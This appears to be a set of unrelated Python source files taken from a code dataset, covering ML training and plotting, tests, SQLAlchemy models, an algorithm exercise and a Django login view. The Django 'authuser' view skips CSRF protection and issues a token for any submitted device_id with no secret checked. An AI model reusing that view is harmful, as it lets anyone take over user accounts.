clientSocket.settimeout(10.0)\n e=clientSocket.recv(1024)\n except:\n break\n if(e):\n return e\n else:\n return \"timeout\"\n\n\n #now=time.time()\n #future=now+20\n #while time.time() 1.2:\n #\n # for s in samp_paths:\n # samplename = str(identifier.item()) +'_L' + str(np.round(labels.item(),2)) + '_P' + str(np.round(p.item(),2)) + '_' + os.path.basename(s[0])\n # out_name = os.path.join(out_folder, str(np.round(ecart,2)),samplename)\n #\n # if not os.path.isdir(os.path.dirname(out_name)):\n # os.mkdir(os.path.dirname(out_name))\n #\n # shutil.copyfile(s[0],out_name)\n\n test_ecart.append(ecart)\n\n test_total += labels.numel()\n test_ecart = np.array(test_ecart)*10\n test_accuracy = np.sqrt(np.mean(test_ecart**2))\n print(f\"\\nfinal test: RMSE = {test_accuracy:0.4f}\\n\")\n\n##################### confusion matrix #####################\n\n# conversion des prediction en matrice numpy\ny_pred_np = []\nfor k in y_pred.keys():\n y_pred_np.append(np.array([i.cpu().numpy() for i in y_pred[k]]))\ny_pred_np = np.array(y_pred_np)\n\n# calcul de la moyenne des predictions\ny_true = np.array([x.item() for x in y_true])*10\navg = np.average(y_pred_np, 0)*10\n# avg[avg<17] = 17\n# avg[avg>100] = 100\n# y_true[y_true==40] = 80\navg_error = np.round(np.mean(abs(avg-y_true)),3)\n# classe ayant la plus haute moyenne de prediction\nrounded_pred = np.round(avg, 0)\n\nmean = np.mean(abs(avg-y_true))\nstd = np.std(abs(avg-y_true))\nRMSE = np.sqrt(np.mean((avg-y_true)**2))\n\nmeans = []\nstds = []\nfor cl in set(y_true):\n masque = np.array(y_true)!=cl\n z = np.ma.array(avg,mask=masque)\n means.append(np.mean(z))\n stds.append(np.std(z - y_true))\n\nfig = plt.figure(figsize=(12,12))\nax = fig.add_subplot(111)\nax.set_axisbelow(True)\nplt.grid()\n\nplt.scatter(y_true, avg, color = 'black', marker='.', s=150)\n# plt.errorbar(list(set(y_true)), means, stds, linestyle = 'None',color='black', marker = '.', capsize = 3)\ncoef = np.polyfit(y_true, avg, 1)\nslope, intercept, r_value, p_value, std_err = stats.linregress(y_true, avg)\nplt.xlabel('Actual RSQI', fontsize=18, labelpad=20)\nplt.ylabel('Predicted RSQI',fontsize=18)\nplt.text(30, 95, f\"R$^2$: {round(r_value**2,2)}\",fontsize=18,bbox=dict(facecolor='white', edgecolor='white'))\n# plt.text(30,90, f\"Écart type des erreurs: {np.round(std,2)}\")\nplt.text(30,90, f\"RMSE: {np.round(RMSE,2)}\", fontsize=18,bbox=dict(facecolor='white', edgecolor='white'))\nplt.plot(y_true, intercept + (np.array(y_true) * slope), color='black')\nplt.xticks([20,30,40,50,60,70,80,90,100], fontsize=18)\nplt.yticks([20,30,40,50,60,70,80,90,100],fontsize=18)\nax.set_aspect('equal', adjustable='box')\n# plt.savefig('checkpoints/' + name + '/scatter_' + name + '.tif')\n# show stuff\nplt.show()\n","sub_path":"utils/inference_melange_custom.py","file_name":"inference_melange_custom.py","file_ext":"py","file_size_in_byte":10639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"620654056","text":"\"\"\"\nTests stochastic metric.\n\"\"\"\nimport pytest\nimport numpy as np\nfrom netrep.metrics import StochasticMetric\nfrom netrep.utils import angular_distance, rand_orth\nfrom numpy.testing import assert_array_almost_equal, assert_allclose\nfrom sklearn.utils.validation import check_random_state\n\n@pytest.mark.parametrize('seed', [1, 2, 3])\n@pytest.mark.parametrize('n_rep', [10])\n@pytest.mark.parametrize('m', [100])\n@pytest.mark.parametrize('n', [5])\ndef test_gaussian(seed, n_rep, m, n):\n rs = check_random_state(seed)\n X = rs.randn(n_rep, m, n)\n Y = np.copy(X) @ rand_orth(n)\n metric = StochasticMetric(max_iter=1000)\n\n metric.fit(X, Y)\n d0 = metric.biased_score(X, Y)\n\n assert_allclose(\n 2 * d0, metric.Xself_ + metric.Yself_,\n atol=1e-3, rtol=1e-2,\n )\n\n","sub_path":"tests/test_stochastic.py","file_name":"test_stochastic.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"647003446","text":"\"\"\"\nSummary:\n\ninput > weight > hidden_layer_1 (activation_function) > weights > hidden_layer_2\n(activation_function) weights > output_layer\n\ndata that passes straight through liek above, it called a 'Feed Forward' neural\nnetwork.\n\nCompare the output to the intended output > cost function (cross entropy)\noptimisation function > minimise cost (AdamOptimiser, SGD, AdaGrad)\n\nThe optimisation goes backwards to manipulate the weights to minimise the cost,\nthis is called backpropogation\n\nfeed forward + backpropagation = epoch\n\nThe epoch can then be repeated multiple times to drop the overall cost.\n\"\"\"\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\ndef neural_network_model(data):\n \"\"\"\n Here we have a 3 layer model set up for TensorFlow\n\n This is done in video 46 of sentdex's youtube tutorial\n https://www.youtube.com/watch?v=BhpvH5DuVu8&index=46&list=PLQVvvaa0QuDfKTOs3Keq_kaG2P55YRn5v\n \"\"\"\n # (input_data * weights) + bias\n # below we match up the layers to each other\n # all the way to the output layer\n h_layer_1 = {'weights': tf.Variable(tf.random_normal([784, n_nodes_hl1])),\n 'biases': tf.Variable(tf.random_normal([n_nodes_hl1]))}\n h_layer_2 = {'weights': tf.Variable(tf.random_normal([n_nodes_hl1, n_nodes_hl2])),\n 'biases': tf.Variable(tf.random_normal([n_nodes_hl2]))}\n h_layer_3 = {'weights': tf.Variable(tf.random_normal([n_nodes_hl2, n_nodes_hl3])),\n 'biases': tf.Variable(tf.random_normal([n_nodes_hl3]))}\n o_layer = {'weights': tf.Variable(tf.random_normal([n_nodes_hl3, n_classes])),\n 'biases': tf.Variable(tf.random_normal([n_classes]))}\n\n # layer 1\n # the add here is the adding box from the neuron in the notebook\n l1 = tf.add(tf.matmul(data, h_layer_1['weights']), h_layer_1['biases'])\n # this is the activation threshold function\n l1 = tf.nn.relu(l1)\n\n # layer 2\n # the add here is the adding box from the neuron in the notebook\n l2 = tf.add(tf.matmul(l1, h_layer_2['weights']), h_layer_2['biases'])\n # this is the activation threshold function\n l2 = tf.nn.relu(l2)\n\n # layer 3\n # the add here is the adding box from the neuron in the notebook\n l3 = tf.add(tf.matmul(l2, h_layer_3['weights']), h_layer_3['biases'])\n # this is the activation threshold function\n l3 = tf.nn.relu(l3)\n\n # output layer\n output = tf.add(tf.matmul(l3, o_layer['weights']), o_layer['biases'])\n return output\n\ndef train_neural_network(x):\n prediction = neural_network_model(x)\n cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=prediction,\n labels=y))\n optimizer = tf.train.AdamOptimizer().minimize(cost)\n\n # this is just the number of feed forward and backpropagations\n hm_epochs = 20\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for epoch in range(hm_epochs):\n epoch_loss = 0\n for _ in range(int(mnist.train.num_examples/batch_size)):\n epoch_x,epoch_y = mnist.train.next_batch(batch_size)\n _, c = sess.run([optimizer, cost], feed_dict={x: epoch_x,\n y: epoch_y})\n epoch_loss += c\n print('Epoch ', epoch, ' completed out of ', \\\n hm_epochs, ' loss: ', epoch_loss)\n\n # now the model has been trained, now do some comparison\n # argmax returns the index of the max value of the array\n correct = tf.equal(tf.argmax(prediction, 1), tf.argmax(y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct, 'float'))\n print('Accuracy: ', accuracy.eval({x:mnist.test.images,\n y:mnist.test.labels}))\n\nif __name__ == \"__main__\":\n \"\"\"\n What one_hot does it set one element to be on (hot) and the rest to\n be off (cold). For example in the case of analysing handwritten numbers\n we have 10 classes = 0 - 9, so they would look something like:\n\n 0 = [1, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n 1 = [0, 1, 0, 0, 0, 0, 0, 0, 0, 0]\n ...\n 8 = [0, 0, 0, 0, 0, 0, 0, 0, 1, 0]\n 9 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 1]\n \"\"\"\n mnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n # number of nodes for the various layers\n n_nodes_hl1 = 500\n n_nodes_hl2 = 500\n n_nodes_hl3 = 500\n\n # number of classes\n n_classes = 10\n # go through batches of 100 at a time,\n # and manipulate the weights each time\n batch_size = 100\n\n # matrix = height x width = 28 x 28 = 784 when flattened\n x = tf.placeholder('float', [None, 784])\n y = tf.placeholder('float')\n\n train_neural_network(x)\n","sub_path":"MachineLearning/deep-net.py","file_name":"deep-net.py","file_ext":"py","file_size_in_byte":4768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"136790639","text":"from rest_framework.authtoken.models import Token\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth.models import User\n\nimport json\n\n@csrf_exempt\ndef authuser(request):\n j = json.loads(request.body)\n device_id = j['device_id']\n try:\n user = User.objects.get(username=device_id)\n tokentup = Token.objects.get_or_create(user=user)\n token = tokentup[0]\n except User.DoesNotExist:\n user = User.objects.create_user(device_id, device_id+'@hoptimized.com')\n user.save()\n token = Token.objects.create(user=user)\n\n response_data = dict()\n response_data['token'] = token.key\n return HttpResponse(json.dumps(response_data), content_type = \"application/json\")","sub_path":"hoptimizedapi/views/views_users.py","file_name":"views_users.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"122327848","text":"'''\nAuthor: Luke\nDate: 2019-9-4\n'''\n\n\nfrom Environment import *\nfrom Model.GCN.Layer import Module\nfrom Data import *\n\nclass Critic(Module):\n def __init__(self,args,input,env,scope='',logging = False):\n super(Critic,self).__init__(name='Critic',scope=scope,logging=logging)\n\n self.embedding_input = input\n self.batch_size = args['batch_size']\n\n with tf.variable_scope(self.name):\n with tf.variable_scope(\"Encoder/Initial_state\"):\n # init states\n initial_state = tf.zeros([args['critic_rnn_layers'], 2, self.batch_size, args['critic_hidden_dim']],\n name='stacked_intial_state')\n l = tf.unstack(initial_state, axis=0,name='unstacked_state')\n rnn_tuple_state = tuple([tf.nn.rnn_cell.LSTMStateTuple(l[i][0], l[i][1])\n for i in range(args['critic_rnn_layers'])])\n\n hy = tf.identity(rnn_tuple_state[0][1],name='hidden_state')\n\n with tf.variable_scope(\"Encoder/Process\"):\n for i in range(args['critic_n_process_blocks']):\n process = CriticAttentionLayer(args['critic_hidden_dim'], _name = \"encoding_step_\"+str(i),scope=self.scope + '/'+ self.name + '/Encoder/Process')\n e, logit = process(hy, self.embedding_input, env)\n\n prob = tf.nn.softmax(logit)\n # hy : [batch_size x 1 x sourceL] * [batch_size x sourceL x hidden_dim] ->\n # [batch_size x h_dim ]\n hy = tf.squeeze(tf.matmul(tf.expand_dims(prob, 1), e), 1)\n\n with tf.variable_scope(\"Decoder\"):\n self.reward_predict = tf.layers.dense( tf.layers.dense(hy, args['critic_hidden_dim'], tf.nn.relu, name='Full_Connect_L1'),\n 1, name='Full_Connect_L2')\n\n self.reward_predict = tf.squeeze(self.reward_predict,1, name= 'Reward_Predict')\n\n if self.logging == True:\n self._log()\n\n\n def _log(self):\n if self.scope == '':\n scope = self.name\n else:\n scope = self.scope + '/' + self.name\n for var in tf.trainable_variables(scope=scope):\n if self.scope == '':\n tf.summary.histogram(var.name, var)\n else:\n tf.summary.histogram(var.name[len(self.scope) + 1:], var)\n\n\n\nclass CriticAttentionLayer(object):\n \"\"\"A generic attention module for the attention in vrp model\"\"\"\n\n def __init__(self, dim, _name,use_tanh=False, C=10,scope=''):\n self.scope = scope\n self.call_time = 0\n self.use_tanh = use_tanh\n self.name = _name\n\n with tf.variable_scope(self.name):\n # self.v: is a variable with shape [1 x dim]\n self.v = tf.get_variable('v_vector', [1, dim],\n initializer=tf.contrib.layers.xavier_initializer())\n self.v = tf.expand_dims(self.v, 2, name='expand_v_vector')\n\n self.emb_d = tf.keras.layers.Conv1D(dim, 1, name= self.name + '/emb_d')\n self.project_d = tf.keras.layers.Conv1D(dim, 1, name= self.name + '/proj_d')\n\n self.project_query = tf.keras.layers.Dense(dim, name= self.name + '/proj_q')\n self.project_ref = tf.keras.layers.Conv1D(dim, 1, name= self.name + '/proj_ref')\n\n self.C = C # tanh exploration parameter\n self.tanh = tf.nn.tanh\n\n def __call__(self, query, ref, env):\n \"\"\"\n This function gets a query tensor and ref rensor and returns the logit op.\n Args:\n query: is the hidden state of the decoder at the current\n time step. [batch_size x dim]\n ref: the set of hidden states from the encoder.\n [batch_size x max_time x dim]\n\n env: keeps demand ond load values and help decoding. Also it includes mask.\n env.mask: a matrix used for masking the logits and glimpses. It is with shape\n [batch_size x max_time]. Zeros in this matrix means not-masked nodes. Any\n positive number in this mask means that the node cannot be selected as next\n decision point.\n env.demands: a list of demands which changes over time.\n\n Returns:\n e: convolved ref with shape [batch_size x max_time x dim]\n logits: [batch_size x max_time]\n \"\"\"\n # we need the first demand value for the critic\n self.call_time += 1\n demand = tf.identity(env.demand_trace[-1],name= self.name + '/demand')\n max_time = tf.identity(tf.shape(demand)[1],name= self.name + '/maxtime')\n\n # embed demand and project it\n # emb_d:[batch_size x max_time x dim ]\n emb_d = tf.identity(self.emb_d(tf.expand_dims(demand, 2)),name=self.name + '/new_emb_d')\n # d:[batch_size x max_time x dim ]\n d = tf.identity(self.project_d(emb_d),name=self.name+'/new_proj_d')\n\n # expanded_q,e: [batch_size x max_time x dim]\n e = tf.identity(self.project_ref(ref),name=self.name+'/new_proj_ref')\n q = tf.identity(self.project_query(query),name=self.name+'/new_proj_q') # [batch_size x dim]\n expanded_q = tf.tile(tf.expand_dims(q, 1), [1, max_time, 1],name=self.name+'/expended_proj_q')\n\n # v_view:[batch_size x dim x 1]\n v_view = tf.tile(self.v, [tf.shape(e)[0], 1, 1])\n\n # u : [batch_size x max_time x dim] * [batch_size x dim x 1] =\n # [batch_size x max_time]\n u = tf.squeeze(tf.matmul(self.tanh(expanded_q + e + d), v_view), 2)\n\n if self.use_tanh:\n logits = self.C * self.tanh(u)\n else:\n logits = u\n\n return e, logits\n\n\nif __name__ == '__main__':\n args = {}\n\n args['trainer_save_interval'] = 10000\n args['trainer_inspect_interval'] = 10000\n args['trainer_model_dir'] = 'model_trained/'\n args['trainer_total_epoch'] = 100000\n\n args['n_customers'] = 10\n args['data_dir'] = 'data/'\n args['random_seed'] = 1\n args['instance_num'] = 10000\n args['capacity'] = 20\n args['batch_size'] = 128\n\n args['actor_net_lr'] = 0.01\n args['critic_net_lr'] = 0.01\n args['gcn_net_lr'] = 0.01\n args['max_grad_norm'] = 10\n args['keep_prob'] = 0.1\n\n args['critic_rnn_layers'] = 3\n args['critic_hidden_dim'] = 128\n args['critic_rnn_layers'] = 4\n args['critic_n_process_blocks'] = 3\n\n\n with tf.variable_scope('Input'):\n input_data = {\n 'input_pnt': tf.placeholder(tf.float32, shape=[args['batch_size'], args['n_customers'] + 1, 2],\n name='coordinates'),\n 'input_distance_matrix': tf.placeholder(tf.float32, shape=[args['batch_size'], args['n_customers'] + 1,\n args['n_customers'] + 1],\n name='distance_matrix'),\n 'demand': tf.placeholder(tf.float32, shape=[args['batch_size'], args['n_customers'] + 1], name='demand')\n }\n\n\n datamanager = DataManager(args, 'train')\n datamanager.create_data()\n\n environment = Environment(args)\n model = Critic(args, input_data['input_distance_matrix'], env=environment, logging=True)\n\n init = tf.initialize_all_variables()\n\n writer = tf.summary.FileWriter('./graph/', tf.get_default_graph())\n summaries = tf.summary.merge_all()\n\n\n for i in range(1):\n with tf.Session() as sess:\n sess.run(init)\n\n input_data = datamanager.load_task()\n\n summ = sess.run(summaries, feed_dict={\n model.embedding_input : input_data['input_distance_matrix'],\n environment.input_pnt: input_data['input_pnt'],\n environment.input_distance_matrix: input_data['input_distance_matrix'],\n environment.demand_trace[0]: input_data['demand']})\n\n writer.add_summary(summ, global_step=i)","sub_path":"Model/A3C/Critic.py","file_name":"Critic.py","file_ext":"py","file_size_in_byte":8048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"365035114","text":"from JBot import JBot\nimport commands as co\nimport logging\nfrom os import environ\n\n\n# set logging\nlogging.basicConfig(\n level=logging.WARNING,\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n)\n\nif 'DEBUG' in environ and environ['DEBUG'] == '1':\n log = logging.getLogger()\n log.setLevel(logging.DEBUG)\n\n\n# initialize JB\njb = JBot()\n\njb.add_command('hello', co.hello)\njb.add_command('reply', co.reply_text)\njb.add_command('send', co.send_text)\n\njb.listen()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"505358971","text":"import os\nimport umap\nimport time\nimport metrics\nimport datetime\nimport numpy as np\nfrom sklearn import manifold\nfrom sklearn.cluster import KMeans\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '0'\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom keras.layers import Input\nfrom core.util import print_accuracy,LearningHandler, get_y_preds, get_scale, spectral_clustering\nfrom core import Conv\n\nimport tensorflow as tf\ndef run_net(data, params):\n #\n # UNPACK DATA\n #\n\n x_train_unlabeled, y_train_unlabeled, x_val, y_val, x_test, y_test = data['spectral']['train_and_test']\n\n print(params['input_shape'])\n inputs_vae = Input(shape=params['input_shape'], name='inputs_vae')\n ConvAE = Conv.ConvAE(inputs_vae,params)\n try:\n ConvAE.vae.load_weights('vae_mnist.h5')\n except OSError:\n print('No pretrained weights available...')\n\n lh = LearningHandler(lr=params['spec_lr'], drop=params['spec_drop'], lr_tensor=ConvAE.learning_rate,\n patience=params['spec_patience'])\n\n lh.on_train_begin()\n\n n_epochs = 5000\n losses_vae = np.empty((n_epochs,))\n homo_plot = np.empty((n_epochs,))\n nmi_plot = np.empty((n_epochs,))\n ari_plot = np.empty((n_epochs,))\n\n y_val = np.squeeze(np.asarray(y_val).ravel()) # squeeze into 1D array\n\n start_time = time.time()\n for i in range(n_epochs):\n # if i==0:\n x_recon, _, x_val_y = ConvAE.vae.predict(x_val)\n losses_vae[i] = ConvAE.train_vae(x_val,x_val_y, params['batch_size'])\n #x_val_y = ConvAE.vae.predict(x_val)[2]\n #y_sp = x_val_y.argmax(axis=1)\n #print_accuracy(y_sp, y_val, params['n_clusters'])\n print(\"Epoch: {}, loss={:2f}\".format(i, losses_vae[i]))\n\n os.makedirs('vae', exist_ok=True)\n os.makedirs('vae_umap', exist_ok=True)\n\n fig, axs = plt.subplots(3, 4, figsize=(25, 18))\n fig.subplots_adjust(wspace=0.25)\n\n embedding = ConvAE.encoder.predict(x_val)\n kmeans = KMeans(n_clusters=params['n_clusters'], n_init=30)\n predicted_labels = kmeans.fit_predict(embedding) # cluster on current embeddings for metric eval\n _, confusion_matrix = get_y_preds(predicted_labels, y_val, params['n_clusters'])\n\n homo_plot[i] = metrics.acc(y_val, predicted_labels)\n nmi_plot[i] = metrics.nmi(y_val, predicted_labels)\n ari_plot[i] = metrics.ari(y_val, predicted_labels)\n\n tsne = manifold.TSNE(n_components=2, init='pca', random_state=0)\n Z_tsne = tsne.fit_transform(embedding)\n sc = axs[1][0].scatter(Z_tsne[:, 0], Z_tsne[:, 1], s=2, c=y_train_unlabeled, cmap=plt.cm.get_cmap(\"jet\", 14))\n axs[1][0].set_title('t-SNE Embeddings')\n axs[1][0].set_xlabel('t-SNE 1')\n axs[1][0].set_ylabel('t-SNE 2')\n axs[1][0].set_xticks([])\n axs[1][0].set_yticks([])\n axs[1][0].spines['right'].set_visible(False)\n axs[1][0].spines['top'].set_visible(False)\n divider = make_axes_locatable(axs[1][0])\n cax = divider.append_axes('right', size='15%', pad=0.05)\n cbar = fig.colorbar(sc, cax=cax, orientation='vertical', ticks=range(params['n_clusters']))\n cbar.ax.set_yticklabels(params['cluster_names']) # vertically oriented colorbar\n # Create offset transform by 5 points in x direction\n dx = 0 / 72.\n dy = -5 / 72.\n offset = matplotlib.transforms.ScaledTranslation(dx, dy, fig.dpi_scale_trans)\n\n # apply offset transform to all cluster ticklabels.\n for label in cbar.ax.yaxis.get_majorticklabels():\n label.set_transform(label.get_transform() + offset)\n\n reducer = umap.UMAP(transform_seed=36, random_state=36)\n matrix_reduce = reducer.fit_transform(embedding)\n sc = axs[1][1].scatter(matrix_reduce[:, 0], matrix_reduce[:, 1], s=2, c=y_train_unlabeled, cmap=plt.cm.get_cmap(\"jet\", 14))\n axs[1][1].set_title('UMAP Embeddings')\n axs[1][1].set_xlabel('UMAP 1')\n axs[1][1].set_ylabel('UMAP 2')\n axs[1][1].set_xticks([])\n axs[1][1].set_yticks([])\n # Hide the right and top spines\n axs[1][1].spines['right'].set_visible(False)\n axs[1][1].spines['top'].set_visible(False)\n\n im = axs[1][2].imshow(confusion_matrix, cmap='YlOrRd')\n axs[1][2].set_title('Confusion Matrix')\n axs[1][2].set_xticks(range(params['n_clusters']))\n axs[1][2].set_yticks(range(params['n_clusters']))\n axs[1][2].set_xticklabels(params['cluster_names'], fontsize=8)\n axs[1][2].set_yticklabels(params['cluster_names'], fontsize=8)\n divider = make_axes_locatable(axs[1][2])\n cax = divider.append_axes('right', size='10%', pad=0.05)\n cbar = fig.colorbar(im, cax=cax, orientation='vertical', ticks=[])\n\n axs[0][0].plot(losses_vae[:i + 1])\n axs[0][0].set_title('VAE Loss')\n axs[0][0].set_xlabel('epochs')\n\n axs[0][1].plot(homo_plot[:i + 1])\n axs[0][1].set_title('Homogeneity')\n axs[0][1].set_xlabel('epochs')\n axs[0][1].set_ylim(0, 1)\n\n axs[0][2].plot(ari_plot[:i + 1])\n axs[0][2].set_title('ARI')\n axs[0][2].set_xlabel('epochs')\n axs[0][2].set_ylim(0, 1)\n\n axs[0][3].plot(nmi_plot[:i + 1])\n axs[0][3].set_title('NMI')\n axs[0][3].set_xlabel('epochs')\n axs[0][3].set_ylim(0, 1)\n\n #reconstructed_cell = ConvAE.vae.predict(x_val[:1, ...])[0, ..., 0]\n cell_tile = x_val[0, ..., 0]\n cell_tile = cell_tile[:, :64]\n x_recon = x_recon[0, ..., 0]\n reconstructed_cell_tile = x_recon[:, :64]\n reconstructed_cell_tile = np.flipud(reconstructed_cell_tile)\n cell_heatmap = np.vstack((cell_tile, reconstructed_cell_tile))\n axs[1][3].imshow(cell_heatmap, cmap='Reds')\n axs[1][3].set_xticks([])\n axs[1][3].set_yticks([])\n axs[1][3].spines['right'].set_visible(False)\n axs[1][3].spines['top'].set_visible(False)\n axs[1][3].spines['left'].set_visible(False)\n axs[1][3].spines['bottom'].set_visible(False)\n\n # get eigenvalues and eigenvectors\n scale = get_scale(embedding, params['batch_size'], params['scale_nbr'])\n values, vectors = spectral_clustering(embedding, scale, params['n_nbrs'], params['affinity'])\n\n # sort, then store the top n_clusters=2\n values_idx = np.argsort(values)\n x_spectral_clustering = vectors[:, values_idx[:params['n_clusters']]]\n\n # do kmeans clustering in this subspace\n y_spectral_clustering = KMeans(n_clusters=params['n_clusters']).fit_predict(\n vectors[:, values_idx[:params['n_clusters']]])\n\n tsne = manifold.TSNE(n_components=2, init='pca', random_state=0)\n Z_tsne = tsne.fit_transform(x_spectral_clustering)\n sc = axs[2][0].scatter(Z_tsne[:, 0], Z_tsne[:, 1], s=2, c=y_train_unlabeled, cmap=plt.cm.get_cmap(\"jet\", 14))\n axs[2][0].set_title('Spectral Clusters (t-SNE) True Labels')\n axs[2][0].set_xlabel('t-SNE 1')\n axs[2][0].set_ylabel('t-SNE 2')\n axs[2][0].set_xticks([])\n axs[2][0].set_yticks([])\n axs[2][0].spines['right'].set_visible(False)\n axs[2][0].spines['top'].set_visible(False)\n\n reducer = umap.UMAP(transform_seed=36, random_state=36)\n matrix_reduce = reducer.fit_transform(x_spectral_clustering)\n axs[2][1].scatter(matrix_reduce[:, 0], matrix_reduce[:, 1],\n s=2, c=y_spectral_clustering, cmap=plt.cm.get_cmap(\"jet\", 14))\n axs[2][1].set_title('Spectral Clusters (UMAP)')\n axs[2][1].set_xlabel('UMAP 1')\n axs[2][1].set_ylabel('UMAP 2')\n axs[2][1].set_xticks([])\n axs[2][1].set_yticks([])\n # Hide the right and top spines\n axs[2][1].spines['right'].set_visible(False)\n axs[2][1].spines['top'].set_visible(False)\n\n axs[2][2].scatter(matrix_reduce[:, 0], matrix_reduce[:, 1],\n s=2, c=y_train_unlabeled, cmap=plt.cm.get_cmap(\"jet\", 14))\n axs[2][2].set_title('True Labels (UMAP)')\n axs[2][2].set_xlabel('UMAP 1')\n axs[2][2].set_ylabel('UMAP 2')\n axs[2][2].set_xticks([])\n axs[2][2].set_yticks([])\n # Hide the right and top spines\n axs[2][2].spines['right'].set_visible(False)\n axs[2][2].spines['top'].set_visible(False)\n\n axs[2][3].hist(x_spectral_clustering)\n axs[2][3].set_title(\"histogram of true eigenvectors\")\n\n train_time = str(datetime.timedelta(seconds=(int(time.time() - start_time))))\n n_matrices = (i + 1) * params['batch_size'] * 100\n fig.suptitle('Trained on ' + '{:,}'.format(n_matrices) + ' cells\\n' + train_time)\n\n plt.savefig('vae/%d.png' % i)\n plt.close()\n\n plt.close()\n\n if i>1:\n if np.abs(losses_vae[i]-losses_vae[i-1])<0.0001:\n print('STOPPING EARLY')\n break\n\n print(\"finished training\")\n\n plt.plot(losses_vae)\n plt.title('VAE Loss')\n plt.show()\n\n x_val_y = ConvAE.vae.predict(x_val)[2]\n # x_val_y = ConvAE.classfier.predict(x_val_lp)\n y_sp = x_val_y.argmax(axis=1)\n print_accuracy(y_sp, y_val, params['n_clusters'])\n from sklearn.metrics import normalized_mutual_info_score as nmi\n y_val = np.squeeze(np.asarray(y_val).ravel()) # squeeze into 1D array\n print(y_sp.shape, y_val.shape)\n nmi_score1 = nmi(y_sp, y_val)\n print('NMI: ' + str(np.round(nmi_score1, 4)))\n\n embedding = ConvAE.encoder.predict(x_val)\n tsne = manifold.TSNE(n_components=2, init='pca', random_state=0)\n Z_tsne = tsne.fit_transform(embedding)\n fig = plt.figure()\n plt.scatter(Z_tsne[:, 0], Z_tsne[:, 1], s=2, c=y_train_unlabeled, cmap=plt.cm.get_cmap(\"jet\", 14))\n plt.colorbar(ticks=range(params['n_clusters']))\n plt.show()\n\n\n","sub_path":"src/applications/DSCDAN.py","file_name":"DSCDAN.py","file_ext":"py","file_size_in_byte":9849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"75481832","text":"import sys\n# sys.stdin = open('input.txt')\ninput = sys.stdin.readline\nn, m = map(int, input().split())\narr = [[float('inf')] * n for _ in range(n)]\n\n\nfor _ in range(m):\n v, e = map(int, input().split())\n arr[v - 1][e - 1] = 1\n arr[e - 1][v - 1] = 1\n\nfor path in range(n):\n for s in range(n):\n for e in range(n):\n if s == e:\n arr[s][e] = 0\n elif arr[s][e] > arr[s][path] + arr[path][e]:\n arr[s][e] = arr[s][path] + arr[path][e]\nmin_v = float('inf')\nresult = 0\nfor idx in range(n):\n if sum(arr[idx]) < min_v:\n min_v = sum(arr[idx])\n result = idx + 1\nprint(result)\n","sub_path":"Algorithm/BOJ/[1389] 케빈 베이컨의 6단계 법칙.py","file_name":"[1389] 케빈 베이컨의 6단계 법칙.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"503660416","text":"\"\"\"Defines model classes related to imported OBO ontologies.\"\"\"\nfrom sqlalchemy import (\n Column,\n Integer,\n String,\n DateTime,\n ForeignKey,\n )\n\nfrom arachcurator.models.meta import (\n Base\n)\n\n\nclass OntologySource(Base):\n \"\"\"Defines the source of a supporting ontology.\n\n name - human friendly name of the ontology\n source_url - cannonical location for loading the ontology\n (e.g., a purl that redirects)\n processing - specifies a set of rules for processing the ontology file\n last_update - timestamp on the file in the cannonical location\n last time it was checked\n authority - generally the maintainer of the ontology\n domain - semantic domain (e.g., taxonomy, behavior, etc.)\n covered by the ontology.\n \"\"\"\n\n __tablename__ = 'ontology_source'\n\n ref_id = Column(String(128),\n ForeignKey('uidset.ref_id',\n ondelete=\"NO ACTION\"),\n primary_key=True)\n name = Column(String(64))\n processing = Column(String(32),\n ForeignKey('ontology_processing.type',\n ondelete=\"NO ACTION\"))\n last_update = Column(DateTime)\n authority = Column(String(128),\n ForeignKey('authority.uri',\n ondelete='NO ACTION'))\n domain = Column(String(32),\n ForeignKey('domain.name',\n ondelete='NO ACTION'))\n dummy_id = Column(Integer, unique=True)\n\n\nclass OntologyProcessing(Base):\n \"\"\"Define a vocabulary of ontology processing types.\"\"\"\n\n __tablename__ = 'ontology_processing'\n\n type = Column(String(32), primary_key=True)\n dummy_id = Column(Integer, unique=True)\n","sub_path":"arachcurator/models/ontology.py","file_name":"ontology.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"142852112","text":"#Second order diff. equation : d2y/dx2 = -y ; dp/dx = -y ; p = dy/dt\n\nfrom pylab import *\nfrom scipy import integrate\n\n\ndef derivative(X, t0): \t\t# X[0] is x, X[1] is dx/dt;\n\treturn [X[1], -X[0] ] \t# derivative of X[0] is X[1] , of X[1] is -y\n\nstart = [0,1]\t\t\t\t\t# x and dx/dt at t= 0\nt = np.arange(0, 30, 0.01)\t \t# start time, stop and stepsize\nresult = integrate.odeint(derivative, start, t)\t# integrate\n\nplot(t, result[:, 0])\t# extract first column from 2d array\nplot(t, result[:, 1])\t# extract second 